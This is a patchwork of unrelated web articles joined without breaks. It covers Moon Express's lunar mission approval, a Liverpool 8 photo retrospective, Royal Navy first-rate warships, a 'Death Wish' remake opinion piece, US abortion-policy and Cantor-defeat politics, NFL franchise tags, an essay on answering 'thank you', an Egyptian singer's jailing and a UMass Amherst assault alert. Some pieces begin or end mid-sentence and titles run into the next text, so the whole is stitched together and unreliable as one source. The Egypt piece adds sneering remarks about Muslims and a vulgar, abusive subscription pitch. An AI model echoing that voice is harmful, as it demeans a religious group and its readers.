An artistic rendering of the MX-1 lander on the surface of the Moon. (Moon Express)
That gave Moon Express the idea to share more information than the federal government required. The company submitted a "souped-up" payload review, in which it voluntarily declared how the 2017 lunar mission would comply with the provisions of the Outer Space Treaty. "There are no new laws, no new regulations," said Richards. "We proposed a scenario where we would build on the existing payload review process."
Moon Express tried to address three critical provisions of the Outer Space Treaty. First, nations must continually supervise all of the space missions that happen within their borders. Moon Express told the FAA it would frequently update the agency with information on the 2017 trip, so that the government could oversee it. The second rule is not messing with other nations’ spacecraft or space operations. On the Moon, that mostly means respecting the Apollo sites, and Moon Express assured the government that it wouldn't disturb these areas. "Don't do wheelies over Neil’s footprint," joked Richards.
Moon Express tried to address three critical provisions of the Outer Space Treaty
Finally, Moon Express had to show the State Department it would abide by the Outer Space Treaty’s provision that is meant to prevent people from contaminating other worlds, called planetary protection. If companies like Moon Express want to land on a body in outer space, they have to be careful not to spread too many bacteria on the surface. Fortunately the Moon doesn't host life, so Moon Express doesn't have to worry too much about contamination. In its voluntary disclosures to the federal government, Moon Express gave the FAA all its data about how it would adhere to the rules of planetary protection.
After giving all of this information to the FAA, the State Department, and the White House, the various agencies met to decide whether these disclosure were good enough. And the decision went in Moon Express' favor. "The meeting was a culmination of all the work we’ve been doing for the last several months on whether or not the State Department in particular would be comfortable with this approach," said Richards. "Our proposal provided enough comfort."
A Future Framework
The solution that Moon Express proposed was really only meant to be a temporary fix for the company, but it's possible the company has inadvertently created ground rules for all future commercial missions beyond Earth orbit. Congressman Jim Bridenstine (R-OK) has proposed a bill, called the Space Renaissance Act, which incorporates Moon Express' solution. Rather than have companies voluntarily disclose how they'll adhere to the Outer Space Treaty, however, Bridenstine's solution gives the FAA authority to issue guidelines for companies to follow. "My proposal updates the current payload review process to enhance it beyond the issuing of a yes or no," said Congressman Bridenstine. "Under this proposal, the FAA will be able to place conditions on payloads."
Future regulations will be important for companies like SpaceX
It'll be some time before Bridenstine's bill or any other framework solutions take effect, though. But these future regulations will be important for companies like SpaceX, which wants to send spacecraft to Mars by 2018. SpaceX will also need approval for those missions, and it's possible these new regulations will be in effect by then to help the government oversee what SpaceX plans to do. If not, the company will likely have to come up with its own temporary fix, just like Moon Express did.
For now, Moon Express isn't too concerned with how its temporary solution may affect policy; the company's just happy it has approval to go to the Moon. "If our pilot program turns out to be a template or model that becomes the permanent regulatory framework for everyone else, that’s a great footstep in history," said Richards. "But that wasn’t the intention; it was very selfish and just about our little 2017 mission."
SPACEX'S PLANS FOR MARSWhen Tricia Porter moved to the notorious Liverpool 8 area in 1974, she was warned to carry a cosh – but emerged with a vivid portrait of a tight-knit community. Forty years on, she revisited the area
Some 40 years ago, in 1974, when I was a twentysomething from London, I made the move up north to Liverpool 8, an area of the city that was notorious for its poverty, planning blight and vandalism.
My future husband, David, was living there as a student. He was very concerned that, despite all that was being written and photographed about the area, where tight-knit communities were being pulled apart by redevelopment, its people were being forgotten.
Facebook Twitter Pinterest A street football team in Toxteth, Liverpool, in 1974
Who were they? As a young photographer, I set out with David to find them, to tell their story in words and pictures as they went about their daily lives.
We started at the Bedford Stores, which had been recently relocated across the road to the new Myrtle Street shopping parade. Mr and Mrs Boswick and their staff told of former days when the Bedford Stores was a high-class grocer’s serving the wealthy in the area. They wanted to keep some of the ambience of the store in its new “supermarket-type” venue. We built up our contacts from there.
Facebook Twitter Pinterest A young woman in Ali’s News
Facebook Twitter Pinterest Shopping in Ali’s News
The resulting Bedford Street exhibition was shown at the Liverpool Academy of Arts, and later the Half Moon Gallery in London. The project gained Arts Council support, and I went on to create a follow-up exhibition, Some Liverpool Kids, which was also shown at the Academy a couple of years later.
Facebook Twitter Pinterest Playing snooker at Jim Hart’s
On the other side of Upper Parliament Street, the Council had built housing for those who had been displaced by the redevelopment. I photographed the children there, playing outside, running errands and just hanging out, and was eventually welcomed into some of their homes.
Facebook Twitter Pinterest An FA Cup Final party at the Davies’s house
Invites to schools and clubs followed, enabling me to gradually build up the story. I had been advised to carry a cosh with me, but I ignored the warning and never felt the need for one.
Facebook Twitter Pinterest Hanging out with dogs
Facebook Twitter Pinterest Children playing on Berkley Street
Facebook Twitter Pinterest By the Windsor Street School railings
On the weekend that the photographs were shown again, this time as part of Look/15, Liverpool’s international photography festival at the Bluecoat, I returned with some of those who featured in the original pictures – Kevin Davies, Lizzie Hodson and her sister Jacquie, as well as some other family members. The area has since been known as Toxteth, following the riots of the 1980s.
Facebook Twitter Pinterest School wash basins
Lizzie and Jacquie still live in the area, but their childhood homes – some of Liverpool 8’s larger houses – have been refurbished. New houses have replaced the tower blocks and smaller houses. The former Windsor Street school building is now a community centre, and the new school next door boasts of its high Ofsted rating.
Facebook Twitter Pinterest Lizzie Hodson and her mother at home, in 1974
Facebook Twitter Pinterest Lizzie, with her son and sister, holds the 1974 picture of her and her mother
The street that might win the Turner prize: how Assemble are transforming Toxteth Read more
Over near Falkner Street, what were once shops are now bistros. The area has a sense of gentrification, but half of the Myrtle Street shopping parade has gone – including the Bedford Stores – and a tower block is being built in its place. Redevelopment is continuing in Sugnall Street, but the Belvedere pub is still going strong. A lady I met at the exhibition told me she still lives in Percy Street. “At the time of the riots it was frightening,” she said. “The noise... and I had a baby then.” But it was her home and she didn’t move away.
Facebook Twitter Pinterest Near where the 1974 street football team (top) was photographed. Pictured is Leigh Davies (back row, second from right), whose father Stephen Davies was in the original photo
On our visit back to Liverpool 8, we were joined by Ann, whose brother and cousin were in the street football team picture. She reckons their homes will eventually be replaced with student accommodation, and that they will have to move further out of the city. The area, she says, is “too prime a spot, so near to the city centre”. Four decades on, there may still be a sense of fragility in Liverpool 8, but its residents remain as strong as ever, hanging on to their heritage and living their lives in the place they have always called home.In the rating system of the British Royal Navy used to categorise sailing warships, a first rate was the designation for the largest ships of the line, equivalent to the'super-dreadnought' of more recent times. Originating in the Jacobean era with the designation of Ships Royal capable of carrying at least 400 men, the size and establishment of first-rates evolved over the following 250 years to eventually denote ships of the line carrying at least 80 guns across three gundecks.[1] By the end of the eighteenth century, a first-rate carried not less than 100 guns and more than 850 crew, and had a measurement (burthen) tonnage of some 2,000 tons.
Origins [ edit ]
The concept of a rating system for British naval vessels dates to the accession of James I of England, following which the fleet was formally divided into "great", "middling" and "lesser" craft. A 1618 commission of enquiry added a further designation of "Ships Royal" for the largest and most prestigious vessels in the fleet, each capable of carrying at least 400 men.[2][3]
The first Ships Royal – Elizabeth Jonas, Triumph, White Bear, Merhonour, Ark Royal and Victory – were all converted galleons and included three very old vessels that had fought against the Spanish Armada in 1588. Their condition was generally poor, with Elizabeth Jonas and Triumph already completely unserviceable and White Bear so unseaworthy that she was sold for scrap in 1627.[2][4]
The Navy's rating system was later modified to differentiate ships considered suitable for various functions within the naval tactics of the age of sail. Lower numbers indicated larger and more capable ships. By the mid-18th century ships suitable for the line of battle were first-rate ships carrying at least 100 guns, second-rate ships carrying 84 to 98 guns, and larger third-rate ships carrying 70 to 80 guns. Smaller third-rate ships carrying about 60–64 guns, and fourth-rate ships of around 50 guns, had earlier been considered suitable, but were being phased out. Fifth-rate and sixth-rate ships were frigates usually maneuvering independently of the line of battle.[5]
Rating [ edit ]
Royal George sank at anchor in 1781 after she was flooded through her lower gunports. The first-ratesank at anchor in 1781 after she was flooded through her lower gunports.
Early first rates had as few as 60 guns, but by the mid-1660s they generally carried between 90 and 100 guns. By the early years of the 18th century, it had become accepted that 100 guns was the standard criterion for a first rate in wartime (while 90 guns, later 98 guns, became the standard wartime ordnance for a second rate). (In peacetime, all ships of the line carried a reduced complement of guns.) Towards the close of the century, ships were built with more than 100 guns, and they too were classed as first rates.
In addition to the rated number of carriage-mounted guns (which included the heaviest calibre available mounted on their lower decks, with smaller guns on the decks above), first rates also carried a number of anti-personnel guns, initially swivel-mounted weapons. From the invention of the slide-mounted carronade in the later 1770s, first rates (like other warships), could mount a number of these weapons on their quarterdecks and forecastles to augment their short-range firepower, but they were not included in the ship's rating until 1817 except where they replaced carriage-mounted guns.
Although very powerful, the Navy's first-rates were of limited utility at sea. For stability their lowest gundeck had to be very close to the waterline and its gunports could not be opened in anything but the calmest of seas. To do otherwise was to risk swamping the entire vessel, as occurred in 1781 when the first-rate Royal George sank at anchor at Spithead after the lower gunports were opened to air the ship.[6] Early first-rates had little storage space to stow provisions for their large crews on long voyages, and the ships themselves routinely proved unseaworthy in winter weather; as a consequence the first-rates were restricted to summer cruising, and then only in the English Channel and nearby waters.[7] By the mid-1700's, however, improved design had removed these limitations.
Ships of this size were extremely expensive to operate. As a result, the few first rates (the Royal Navy had only five completed in 1794) were typically reserved as commanding admirals' flagships. First rates were typically kept out of commission ("in Ordinary") during peacetime and only activated ("commissioned") during times of conflict. This had the added advantage of preserving them from the wear and tear that smaller ships experienced in spending long periods at sea. Spending time in Ordinary could considerably extend a first rate's lifespan; for instance, by the time she fought in the Battle of Trafalgar, HMS Victory had been in service for 40 years, although a portion of this time was spent in Ordinary.
With first rates being the most powerful ships of the navy, it was common to compare them with the navies of other nations; frequently one sees the largest ships of those navies being referred to as first rates. Other nations had their own rating systems, notably the French Navy with its system of five formal rates or rangs.
Ships [ edit ]
Due to their unique importance as prestige warships, only a small number of first rates could be built and maintained at any one time.[8][page needed] Thus over the 250 years (approximately) that the rating system of the Royal Navy was used, only a relatively small number of these ships saw service.
Only one first rate has survived to the present. HMS Victory, Admiral Nelson's flagship at the Battle of Trafalgar, is preserved at HMNB Portsmouth and is in commission. The hull of the 112-gun HMS St Lawrence, which was built and operated entirely in fresh water during the War of 1812, survives intact in shallow water near shore in Kingston, Ontario, and is a popular diving attraction. Two other noted first rates were HMS Royal Sovereign, which was broken up in 1841, and HMS Britannia, which was broken up in 1825. Both these ships had 100 guns. Later first rates such as HMS Caledonia and its several sisters had 120 guns.[9] Other navies, notably those of France and Spain, also had similar ships with more than 100 guns, the most heavily armed being the Santísima Trinidad which, following a rebuilding in 1802, carried 140 guns.
Other usage [ edit ]
The Royal Navy's use of the term "first-rate" to describe its largest and most powerful vessels is the origin of the modern English-language meaning of "exceptionally good" or "of the highest quality."[10]
Notes [ edit ]
Bibliography [ edit ]
Bennett, G. (2004). The Battle of Trafalgar. Barnsley, United Kingdom: Seaforth. ISBN 1844151077.
Keegan, John (1989). The Price of Admiralty. New York: Viking. ISBN 0670814164.
Winfield, Rif (2009). British Warships in the Age of Sail 1603–1714:Design, Construction, Careers and Fates. Barnsley, United Kingdom: Seaforth. ISBN 9781848320406.
Winfield, Rif (2007). British Warships in the Age of Sail 1714–1792: Design, Construction, Careers and Fates. Barnsley, United Kingdom: Seaforth. ISBN 9781844157006.
Winfield, Rif (2014). British Warships in the Age of Sail 1817–1863: Design, Construction, Careers and Fates. Barnsley, United Kingdom: Seaforth. ISBN 9781848321694.
Winfield, Rif (2010). First rate: The Greatest Warships of the Age of Sail. Annapolis, Maryland: Naval Institute press. ISBN 9781591142645.
Further reading [ edit ]PopZette Why Social Justice Warriors Are So Upset About ‘Death Wish’ Remake Outspoken director likely doesn't care, of course — and online outrage will only help sell the movie
The trailer for the “Death Wish” remake, starring Bruce Willis, has been released — and it’s not that great.
While director Eli Roth has for months been talking about his down-and-dirty modern take on the ’70s revenge classic, the trailer for the November 22 release looks more like a sales video that might be shown to foreign distributors.
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Willis shoots a lot of things — and AC/DC’s “Back in Black” plays for some odd reason.
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That said, the poorly composed trailer does display elements of a potentially great movie. While the original Charles Bronson-starring film (which inspired four sequels) was set in New York City, the latest version of the vigilante drama now takes place in modern-day Chicago — a city plagued by an out-of-control crime rate that has unfortunately only recently entered into mainstream public discourse.
The character of Paul Kersey (Willis) has been updated as well. He’s now a surgeon instead of an architect — something that will no doubt come in handy when he takes revenge on the men who attacked his family.
Director Roth has added in other elements, such as actual radio DJs debating Kersey’s vigilante methods and a stellar cast that includes Dean Norris (“Breaking Bad”) and Vincent D’Onofrio (“Daredevil”). He’s created something that could be seriously great and as socially and culturally impactful as the original film — which took the country by storm (especially New York City) in 1974.
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Only minutes after the trailer for Roth’s remake dropped, offended liberals were already melting on social media and throwing around words like “racist.”
The complaints have little to do with the actual trailer and more to do with the concept of “Death Wish” itself.
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would reintroduce the policy as a gift to Vice President Mike Pence, known for his staunch opposition to abortion rights.
The rule, first introduced in 1984, was named for the location of the UN conference on population where it was announced.
Groups that support abortion rights have long opposed the policy and urged politicians not to back. Republican and Democratic presidents have taken turns to impose and rescind the rule.
Bill Clinton revoked it in January 1993 upon taking office, and George W Bush reinstated it when he assuaged the presidency eight years later. Barack Obama most recently rescinded it again in 2009.
Mr Clinton and Mr Bush signed their orders on 22 January, the anniversary of the 1973 landmark Roe v Wade decision.
Mr Trump's press secretary, Sean Spicer, told reporters: "The president has made clear he is a pro-life president. He wants to stand up for all Americans - including the unborn."
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowThe early thinking: Stay out of the GOP’s way. Dem plan: Watch the GOP implode
Democratic operatives were just as surprised as everyone else by Eric Cantor’s defeat — but now they’re trying to figure out how to make the most of it.
The early thinking: Stay out of the GOP’s way.
Story Continued Below
Virginia’s 7th Congressional District probably isn’t going their way, regardless of the Republican candidate switch. But operatives planning for the midterms believe they can turn Tuesday’s surprising tea party resurgence into something much bigger.
( Also on POLITICO: The downside of ambition)
They see the attention to the defeat as another cut at the House Republicans as extremists, a new way to highlight congressional dysfunction, a chance to pump more GOP distrust into the Latino voters Democrats are hoping to turn out in force in November, an argument that Republicans are in much worse shape than they’ve purported to be.
Of course, Democrats have seemed to seize the momentum many times before, only to lose it — though never worse than when the buoyancy of winning on the shutdown immediately disappeared into the Obamacare website launch.
But on this one, they feel like Republicans are doing the work for them.
( Also on POLITICO: Obama weighs in on Cantor loss)
There wasn’t a Cantor-based strategy session Wednesday with White House political director David Simas, and there isn’t one planned. Staffers at the various Democratic campaign committees spent the day reveling in the results and chattering about it among themselves, but not in any formal way.
Party operatives think they can count on at least two weeks of Republicans languishing, until June 24. That’s when Chris McDaniel will be looking to bring down Sen. Thad Cochran in the Mississippi GOP run-off, while in the Colorado gubernatorial primary, voters will pick between two former House Republicans: Tom Tancredo, the anti-immigration reform leader who’s ahead in the polls and Bob Beauprez, whom Cantor endorsed.
And all the while, House Republicans will be twisting through their own internal fight ahead of the June 19 majority leader election.
( Also on POLITICO: Right clamors for leadership seat)
“At a certain point, Republicans will need a hand” making problems for themselves, said one Democratic strategist working on the midterms. “That moment is not now.”
Neither Obama nor any House or Senate candidate is likely to say either Cantor’s name or Brat’s much between now and November — the president on Wednesday referred only to “an interesting election” at a Democratic Senatorial Campaign Committee fundraiser Wednesday night, launching into a defense of what he insisted were the still-alive chances of immigration reform.
“At a certain point issues are important enough to fight for. My argument about yesterday’s election is not that there was too little politics — there was too little conviction about what was right,” Obama said.
( Also on POLITICO: The GOP's habit of eating its own)
After all, strategists don’t expect most voters knew there was a primary in Virginia this week — or will care what the results were by next month, let alone by the fall.
But they do think the conversation Cantor’s loss sparked in the coverage has helped feed a larger sense of Republican extremism and obstructionism.
“Dave Brat is not a brand. The Republican lurch to the right is a brand,” said Democratic Congressional Campaign Committee Chairman Steve Israel (D-N.Y.). “The Brat win is Exhibit A in our argument, but there are lots of exhibits to our argument. It accelerates the GOP’s move to the right.”
“Cantor lost because he wasn’t extreme enough, and that’s the direction of the Republican Party,” said Stephanie Cutter, Obama’s deputy campaign manager in 2012. “These larger narratives of the party getting pulled to the right is something the Republicans need to be worried about.”
Until about 7:40 p.m. on Tuesday, the conventional wisdom had been that the Republican establishment had gotten the tea party under control, and the focus was on Obama’s problems. The election had been cast as a referendum on the president. Now, Democrats say they think they’ve got fodder to make the argument that November will be a referendum on Washington: The president is still a big part of that — but Cantor’s loss should be a reminder that Republicans are, too.NFL teams have until March 2 to use the franchise tag on pending unrestricted free agents. Here’s a look at who should get the tag, who should sign a long-term deal, and who might end up testing the waters of free agency.
Tag Now, Ask Questions Later
Dez Bryant, WR, Dallas Cowboys
I wish They felt the same way but it's cool.. It's #business RT @FrankyGonzalez3: I love how dedicated @DezBryant is to the @dallascowboys — Dez Bryant (@DezBryant) February 17, 2015
Unfortunately for Bryant, the franchise tag was made for his exact situation. The Cowboys aren’t quite as strapped for cash as last offseason, but Dallas still doesn’t have the healthiest cap arrangement. Bryant’s franchise number would come in at $12.8 million, and they’ll have about $17 million in space if the cap settles at $143 million, according to Over the Cap. By shifting some bonus money around with players like Tony Romo and Tyron Smith, Dallas will likely create some more space, but franchising Bryant buys both a few months of negotiating time and another offseason to get away from some of the dead money (from guys like Miles Austin, Kyle Orton, and Doug Free) still hanging around.
At this point, worries about handing Bryant a long-term deal at the top of the wide receiver market aren’t what they were a few years ago. He’s been one of the better receivers in the league for the past couple of seasons, and whatever concerns Dallas had about him away from football have mostly faded. You can’t blame Bryant for pushing back against the idea — and reports that he’d skip offseason workouts if he were franchised aren’t surprising — but the Cowboys have plenty of other holes on defense and still need to figure out a plan at right tackle.
Justin Houston, OLB, Kansas City Chiefs
With Alex Smith’s new contract kicking in, the Chiefs have a little less than $5 million in cap space, and Houston is probably looking at a deal that’ll earn him an annual salary somewhere around the $14.3 million the Rams are giving Robert Quinn. Sacks never tell the whole story with pass-rushers, but Houston’s third-straight year finishing with double digits — he had 22 — will have him looking for a deal that comes close to setting the pace at the edge-rusher spot. The Chiefs have a few potential moves to free up room — it’d be surprising to see Dwayne Bowe still on the roster with his $14 million cap figure, and there are a few other, smaller cuts available — but franchising Houston seems like the shrewdest choice.
Jamie Squire/Getty Images
With Houston, the same sort of debate that happened with both Jimmy Graham and Terrell Suggs comes up again. Listed as an outside linebacker, Houston’s main function in the Chiefs defense is as a pass rusher. The difference between the linebacker tag and the more lucrative defensive end tag is only $1.6 million, but if Houston does get tagged, his people will almost certainly aim for a number around $14 million — about halfway between the two.
You May Not Have a Choice
Devin McCourty, S, New England Patriots
Only tight end has a smaller franchise number than safety’s $9.6 million, and the Patriots shouldn’t hesitate to bring McCourty back at that price if they can’t work out a long-term deal while also figuring out what to do with Darrelle Revis and Vince Wilfork. McCourty has been vital to the Patriots defense since making the move to safety early in his career, emerging as one of the more reliable back-end defenders in the entire league. With the deals Earl Thomas and Jairus Byrd hauled in last offseason, it feels like McCourty would be able to land a sizable number if he ended up hitting free agency, but either with the tag or with a long-term deal, I’m guessing we never find out.
Demaryius Thomas, WR, Denver Broncos
For me, Thomas is the most interesting case in free agency this year outside of Ndamukong Suh. It’s hard to argue with his ridiculous production: three straight seasons with more than 90 catches, 1,400 yards, and double-digit touchdowns. Only two players in league history — Jerry Rice and Marvin Harrison — have done it four times. Thomas has the speed to be a legitimate deep threat outside the numbers and is one of the best players in the league after the catch. Only Golden Tate had more YAC among receivers, and only 11 receivers averaged more yards after the catch per reception — an absurd stat, considering Thomas is 6-foot-3, 230 pounds, and nearly every receiver above him is a smaller slot type living on short throws.
Justin Edmonds/Getty Images
Where Thomas doesn’t provide as much value as top guys like Julio Jones, Calvin Johnson, and Bryant is on contested balls he has to win at the catch point. His average air yards per target this year was 9.88, 53rd in the league and just ahead of 5-foot-10 Antonio Brown. There’s no denying what Thomas has been able to do in the Denver offense with Peyton Manning, but on a team where he doesn’t run as many screens that let him work after the catch and he’s forced to compete for more contested throws, he may not be the same player.
That said, Thomas is in that Peyton Manning offense, and I see the Broncos doing all they can to bring him back. Denver has said that this could mean using the tag if a long-term deal isn’t reached. Either way, it seems like Thomas is going to be a Bronco next year.
Only As a Last Resort
Jason Pierre-Paul, DE, New York Giants
Tom Coughlin said last week that if the Giants aren’t able to reach a long-term deal with Pierre-Paul before the March 2 deadline, they’d be willing to hand him the tag. A few years ago, that sentiment would have been easy to understand: JPP was among the most terrifying edge players in football — dominant as a pass-rusher and a force against the run. After two seasons mired by back problems, it looked like those days were gone, only for Pierre-Paul to bounce back with 12.5 sacks this past season. The 25-year-old’s agents are likely selling that total as proof that he has returned to form, but the Giants are understandably skeptical.
At this point, the reasonable expectation would be that JPP falls somewhere in between the 6.5 sacks he got in 2012 and his total from this year. He’s not the same game-altering pass-rusher he was in 2011, and although he still has the size and flashes of athleticism to affect a game, he’s not as constant as he used to be. Four years ago, he was in a class of edge rusher reserved for players like Quinn and Cameron Wake. Now, there’s a chance he’s closer to someone like Michael Johnson. That’s still a player worth having, but maybe not one worth the type of extension Pierre-Paul’s after. By giving him the tag, the Giants would buy themselves another season to figure out just where he sits, but he’s by no means a lock to match the production you’d hope to get from a franchised pass-rusher.
Jeremy Maclin, WR, Philadelphia Eagles
Thomas B. Shea/Getty Images
Coming off a torn ACL, Maclin decided to take a risk and play this past season on a one-year deal from Philadelphia, hoping that, healthy and in Chip Kelly’s offense, he could have the type of performance that’d earn him a multi-year deal in Philadelphia or elsewhere. It turned out to be the right bet, as Maclin finished the year with more than 1,300 yards on 85 catches, leaving the Eagles with a decision to make. Maclin was easily going to be the most productive receiver in the Philadelphia offense next year, and even with Jordan Matthews likely to see more action in his second season, no receiver in football had a higher percentage of his snaps come from the slot than Matthews. Letting Maclin go would leave the Eagles with a massive void at their outside-receiver spots, but handing him the $13 million the tag would carry after just a single year of high-level production is its own risk. Trying to figure out a long-term deal that’s closer to Maclin’s actual value among wide receivers is probably the smartest bet.
Julius Thomas, TE, Denver Broncos
It’s hard to separate the future of both Thomases in Denver. If the Broncos do manage to figure out a long-term extension with Demaryius before the deadline, they might be able to get away with franchising Julius and paying the reasonable price that the Jimmy Graham debate dictated last offseason. But if that doesn’t happen, based on what Thomas’s agent told Mike Klis of the Denver Post last week, it’s starting to feel like Denver would rather keep its no. 1 receiver and let Julius Thomas move on.
Just Don’t See It
Randall Cobb, WR, Green Bay Packers
Christian Petersen/Getty Images
Playing the first full season of his career, Cobb was a major part of the best offense in the league. He finished the year with 91 catches, 1,287 yards, and 12 scores, but as it is with every situation, straight stats are rarely the best way to figure any of this stuff out. Jason Hirschhorn, over at the Acme Packing Company, did a great job last month of separating Cobb’s overall production from the contract we might expect him to get in Green Bay or elsewhere. Almost all of Cobb’s work comes from the slot, and historically, slot receivers just don’t see the type of contracts given to guys who make their living on the outside. I expect Cobb to be back, but it’ll be in the form of a long-term deal.
DeMarco Murray, RB, Cowboys
We could be looking at Murray as the ultimate example of how running-back value has plummeted with the move toward pass-friendly roster construction. Murray figures to earn much more than the $3.5 million per season last year’s free-agent running backs were getting, but how much more? That’s an issue that will be explored more in the next few weeks as free agency ramps up, but for our purposes here, let’s just say that it’s tough to envision Dallas handing Murray the $10.93 million that comes with the tag for running backs.The script is so deeply ingrained that you don’t even need to think about it. When you do a favor, and someone says “thank you,” the automatic response is “you’re welcome.” It’s a basic rule of politeness, and it signals that you accept the expression of —or that you were happy to help.
But according to one leading psychologist, this isn’t the best of words. After four decades of studying, Influenceauthor Robert Cialdini has come to see “you’re welcome” as a missed opportunity. “There is a moment of power that we are all afforded as soon as someone has said ‘thank you,’” Cialdini explains. To capitalize on this power, he recommends an unconventional reply:
“I know you’d do the same for me.”
There are at least three potential advantages of this response. First, it conveys that we have the type of relationship where we can ask each other for favors and help each other without keeping score. Second, it communicates that you’re the kind of person who’s willing to help others. Third, it activates the norm of reciprocity, making sure that you feel obligated to pay the favor back in the future.
As Guy Kawasaki writes in Enchantment, “Cialdini’s phrase tells the person who received your favor that someday you may need help, too, and it also signals to the person that you believe she is honorable and someone who will reciprocate. If this is the spirit in which you’re saying it, your response is far more enchanting than the perfunctory ‘You’re welcome.’ ”
Although the logic is compelling, and I’m a longtime admirer of Cialdini’s work, I’ve never felt comfortable saying this phrase out loud. At first I thought I was too attached to politeness rules. How could I leave a “thank you” just hanging in the air without the proper acknowledgment? Awkward.
That explanation fell apart, though, when I realized I could just combine politeness with Cialidni’s response: “You’re welcome—I was happy to do it. I know you’d do the same for me.”
It didn’t change my mind. The response still left a bad taste in my mouth. Eventually, I realized the problem was the subtle appeal to reciprocity. There’s nothing wrong with trading favors or asking others to repay the help you’ve given, but when I chose to help people, I wanted to do it without strings attached. I didn’t want to leave them feeling like they owed me. So I stuck with the familiar, banal “you’re welcome,” which was mildly dissatisfying. Why do we utter this strange phrase?
In English, it’s a relatively new arrival. Over the past century, “you’re welcome” has evolved to connote that it’s my pleasure to help you or “you are welcome to my help,” which we tend to say more directly in other languages like Spanish and French (“the pleasure is mine,” “it was nothing,” “no problem”). Is there a better alternative?
I stumbled upon an answer after meeting Adam Rifkin, a serial entrepreneur who was named Fortune’s best networker. He goes out of his way to help a staggering number of people, doing countless five-minute favors—making introductions, giving feedback, and recommending and recognizing others. After Rifkin does you a favor, it’s common for him to reach out and ask for your help in return.
At first, it seems like he’s just following the norm of reciprocity: since he helped you, you owe him. But there’s a twist: he doesn’t ask you to help him. Instead, he asks you to help him help someone else.
Rifkin is more concerned about people paying it forward than paying it back. In his view, every favor that he does is an opportunity to encourage other people to act more generously. That way, a broader range of people can benefit from his contributions.
After watching Rifkin in action, it dawned on me that Cialdini’s line could be adapted. Instead of “I know you’d do the same for me,” how about this response?
“I know you’ll do the same for someone else.”
Just like Cialdini’s reply, it affirms your character as a person who’s happy to be helpful. Unlike his version, it doesn’t deliver the implicit message that you’re indebted to me, and I’m waiting for you to repay it.
It’s just a sentence, but the underlying values have the potential to fundamentally change the way that people interact. In traditional direct reciprocity, people trade favors back and forth in pairs. In contrast, Rifkin’s approach is called generalized reciprocity. As described by political scientist Robert Putnam in Bowling Alone, “I’ll do this for you without expecting anything specific back from you, in the confident expectation that someone else will do something for me down the road.”
If you follow this approach, when you really need help, you have access to a broader range of potential givers. If you stick to direct reciprocity, you can only ask people you’ve helped in the past or might be able to help in the future. In generalized reciprocity, you can extend your request to a wider network: since you’ve given without strings attached, other people are more inclined to do the same. In fact, social scientists James Fowler and Nicholas Christakis have conducted experiments showing that acts of giving often spread “up to three degrees of separation (from person to person to person).”
So next time someone expresses appreciation for your help, it might be worth stretching beyond politeness to ask them to pay it forward. I know you’ll do that for someone else.
***
Adam is the author of Give and Take, a New York Times and Wall Street Journal bestseller on how helping others drives our success. Follow him on LinkedIn at www.linkedin.com/influencer/profadamgrant and on Twitter @AdamMGrantEgypt has jailed a pop singer for two years after she suggestively ate a banana in her recent music video, something which the Egyptian government considers to be “inciting debauchery” and harming “public morality.”
At least women can drive cars there… wait, no, “can be stoned to death there.” Sorry, it’s just so easy to confuse those.
Shaimaa Ahmed, who goes by the stage name Shyma, was arrested on November 18 after the music video for her song “I have issues” caused outrage in the Muslim-majority country.
“The content of the video clip is harmful to the Egyptian society,” MP Jalal Awara said when the video was first released, according to Gulf News Egypt. “There must be a firm stance against promoters of this substandard art.”
شيما – كليب عندي ظروف | Shyma – Andy Zoroof ▶ Title: Andy Zorof اسم الاغنية : عندي ظروف ▶ Artist: Shyma المطربة : شيما ▶ Lyrics: Mohamed Atef كلمات: محمد عاطف ▶ Composition: Ramy Gamal الحان : رامي جمال ▶ كلمات الاغنية يعني بالذمة مش مكسوف تبعد وتقولي عندي ظروف بتنشغل عني وانت متهني مش مطمني مش بتفهمني انت
Her trial began on November 28 in The Misdemeanour Court in Cairo. Shyma pleaded not guilty to the charges of “inciting debauchery and producing a video that harms public morality,” RT reports.
The singer claims she was forced to pose provocatively by the director of the video, who allegedly included the scenes without her consent.
Both Shyma and the director of the video were fined (EG) £10,000 ($560) and sentenced to two years in prison, RT reports.
“I didn’t imagine all this would happen and that I would be subjected to such a strong attack from everyone, as a young singer… who has dreamt from a young age of being a singer,” Shyma wrote via Facebook after her music video caused outrage in the country.
According to Gulf News Egypt, the country’s musicians union banned Shyma from performing.
The Egyptian authorities have been able to use strict morality laws to censor and punish freedom of expression in the country.
In September, seven Egyptians were arrested after a rainbow flag, a symbol for the LGBT community, was raised during a concert in Cairo.
According to Reuters, the seven concert-goers were arrested for “promoting sexual deviancy,” something the country’s authorities cite as a way to punish homosexuals.
“Egypt should stop dedicating state resources to hunting people down for what they allegedly do in their bedrooms, or for expressing themselves at a rock concert, and should instead focus energy on improving its dire human rights record,” the Middle East and North Africa Director at Human Rights Watch, Sarah Leah Whitson, said in a statement after the arrests.
The government action was a response to a public outcry. This is what real Muslims believe.
Featured Image Via Instagram
Sources: RT, Reuters, Gulf News Egypt
WHAT ARE YOU WAITING FOR, BITCH? BECOME A DANGEROUS VIP FOR AS LITTLE AS $3.95 A MONTH You get all our best writing, MILO’S VIP-ONLY podcast and a bunch of other decent stuff. SIGN ME UP!AMHERST (CBS) – A shelter in place order has been lifted at UMass Amherst after a student was assaulted by a person with a gun.
An alert sent out to students Thursday afternoon said there was a “hostile armed person reported in Pierpont Hall.” UMass Police officers secured a perimeter and interviewed witnesses.
About an hour later, the university told students to resume normal activities.
ALERT: Shelter in place order HAS BEEN LIFTED. Please resume normal activities. Additional information will be provided by UMass email. — UMass Amherst (@UMassAmherst) February 19, 2016
UMass Police say a student was assaulted by two suspects in Pierpont Hall, a residence hall for first year students, at about 5:15 p.m. The two suspects fled campus and police are currently “vigorously pursuing leads.”
Police say a handgun was shown during the incident but was not fired. The suspects are not believed to be UMass students.
The victim, who is a student, suffered a laceration to the head and is being treated at a local hospital. The assault is not believed to be random.
“Our officers responded promptly and our community responded well to the emergency communications that we shared in a timely manner throughout the incident,” said UMass Police Chief Tyrone Parham. “I want to thank everyone involved for their assistance and cooperation.”
ALERT: Hostile armed person reported in Pierpont Hall. UMPD on scene and perimeter secured. Please shelter in place. — UMass Amherst (@UMassAmherst) February 18, 2016
ALERT: Suspect is a white male wearing dark colored shirt and gold chain. Reports of 2nd involved party, white male wearing gray sweatshirt. — UMass Amherst (@UMassAmherst) February 18, 2016
